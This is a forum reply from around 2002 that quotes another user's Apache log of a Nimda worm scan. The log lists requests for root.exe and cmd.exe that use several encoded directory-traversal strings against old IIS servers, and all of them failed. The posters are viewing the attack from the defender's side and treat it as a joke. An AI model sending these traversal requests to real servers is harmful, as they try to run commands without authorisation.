</font><blockquote><font size="1" face="Geneva, Verdana, Arial, sans-serif">quote:</font><hr /><font size="1" face="Geneva, Verdana, Arial, sans-serif">Originally posted by Kristoff:
<strong>You think
that's strange???
You should see ol' Nimda at work...
cmd.exe??? Not on
this OS
24.221.99.90 - - [25/Jun/2002:14:03:40 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 299 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:41 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:42 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:46 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:49 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:52 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.
0" 404 338 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:53 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.
0" 404 338 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:56 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 354 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:56 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:03:57 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:04:00 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:04:03 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:04:07 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 304 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:04:10 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 304 "-" "-"
24.221.99.90 - - [25/Jun/2002:14:04:14 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-
"
24.221.99.90 - - [25/Jun/2002:14:04:15 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 "-" "-"</strong></font><hr /></blockquote><font size="1" face="Geneva, Verdana, Arial, sans-serif">Hehe, I hate those, but it's always funny looking at it from an apache log.
Hehe stupid windows